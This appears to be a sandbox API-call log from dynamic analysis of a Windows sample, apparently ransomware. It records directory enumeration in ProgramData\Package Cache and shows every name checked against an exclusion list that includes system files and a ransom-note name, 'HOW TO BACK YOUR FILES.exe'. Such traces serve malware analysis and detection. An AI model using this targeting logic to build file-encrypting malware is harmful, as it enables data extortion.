	[0050.486] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f6129b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f6129b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", cAlternateFileName="{33D1F~1")) returned 1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="Apollon865.txt.exe") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2=".") returned 1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="..") returned 1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="windows") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="bootmgr") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="temp") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="pagefile.sys") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="boot") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ids.txt") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="ntuser.dat") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="perflogs") returned -1
	[0050.486] lstrcmpiW (lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpString2="MSBuild") returned -1
	[0050.486] lstrlenW (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38
	[0050.486] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned 78
	[0050.486] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}"
	[0050.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0050.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0050.486] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0050.486] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f5ec850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5ec850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", cAlternateFileName="{37B8F~1.610")) returned 1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2=".") returned 1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="..") returned 1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="windows") returned -1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="bootmgr") returned -1
	[0050.486] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="temp") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="pagefile.sys") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="boot") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ids.txt") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="ntuser.dat") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="perflogs") returned -1
	[0050.487] lstrcmpiW (lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030", lpString2="MSBuild") returned -1
	[0050.487] lstrlenW (lpString="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 49
	[0050.487] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 67
	[0050.487] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030"
	[0050.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c48
	[0050.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599590
	[0050.487] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c50 | out: ListHead=0x5b76b0, ListEntry=0x5b7c50) returned 0x5b7bf0
	[0050.487] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", cAlternateFileName="{3C3AA~1")) returned 1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="Apollon865.txt.exe") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2=".") returned 1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="..") returned 1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="windows") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="bootmgr") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="temp") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="pagefile.sys") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="boot") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ids.txt") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="ntuser.dat") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="perflogs") returned -1
	[0050.487] lstrcmpiW (lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpString2="MSBuild") returned -1
	[0050.487] lstrlenW (lpString="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 38
	[0050.487] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 78
	[0050.487] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="{3c3aafc8-d898-43ec-998f-965ffdae065a}"
	[0050.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0050.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b8f28
	[0050.487] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0050.487] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", cAlternateFileName="{582EA~1.250")) returned 1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2=".") returned 1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="..") returned 1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="windows") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="bootmgr") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="temp") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="boot") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ids.txt") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="perflogs") returned -1
	[0050.488] lstrcmpiW (lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", lpString2="MSBuild") returned -1
	[0050.488] lstrlenW (lpString="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 50
	[0050.488] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 67
	[0050.488] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0050.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0050.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afa60
	[0050.488] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0050.488] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", cAlternateFileName="{68306~1.250")) returned 1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2=".") returned 1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="..") returned 1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="windows") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="bootmgr") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="temp") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="boot") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ids.txt") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0050.488] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="perflogs") returned -1
	[0050.489] lstrcmpiW (lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017", lpString2="MSBuild") returned -1
	[0050.489] lstrlenW (lpString="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 50
	[0050.489] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 79
	[0050.489] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017" | out: lpString1="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned="{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017"
	[0050.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0050.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afb08
	[0050.489] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
	[0050.489] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", cAlternateFileName="{8D4F7~1.250")) returned 1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="Apollon865.txt.exe") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2=".") returned 1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="..") returned 1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="windows") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="bootmgr") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="temp") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="pagefile.sys") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="boot") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ids.txt") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="ntuser.dat") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="perflogs") returned -1
	[0050.489] lstrcmpiW (lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", lpString2="MSBuild") returned -1
	[0050.489] lstrlenW (lpString="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 50
	[0050.489] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017") returned 79
	[0050.489] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0050.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0050.489] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xa0) returned 0x5afbb0
	[0050.489] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7b10
	[0050.489] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f52e170, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f52e170, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", cAlternateFileName="{929FB~1.210")) returned 1
	[0050.489] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.489] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0050.489] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2=".") returned 1
	[0050.489] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="..") returned 1
	[0050.489] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="windows") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="bootmgr") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="temp") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="boot") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ids.txt") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="perflogs") returned -1
	[0050.490] lstrcmpiW (lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005", lpString2="MSBuild") returned -1
	[0050.490] lstrlenW (lpString="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 49
	[0050.490] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 79
	[0050.490] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005" | out: lpString1="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned="{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005"
	[0050.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0050.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599a78
	[0050.490] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x5b7c10
	[0050.490] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a199880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f4e1eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4e1eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="Apollon865.txt.exe") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2=".") returned 1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="..") returned 1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="windows") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="bootmgr") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="temp") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="pagefile.sys") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="boot") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ids.txt") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="ntuser.dat") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="perflogs") returned -1
	[0050.490] lstrcmpiW (lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", lpString2="MSBuild") returned -1
	[0050.490] lstrlenW (lpString="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned 49
	[0050.490] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005") returned 78
	[0050.490] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005" | out: lpString1="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005") returned="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005"
	[0050.490] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0050.491] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x9e) returned 0x599b20
	[0050.491] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0050.491] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f4bbd50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4bbd50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="Apollon865.txt.exe") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2=".") returned 1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="..") returned 1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="windows") returned -1
	[0050.491] lstrcmpiW (lpString1="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", lpString2="bootmgr") returned -1
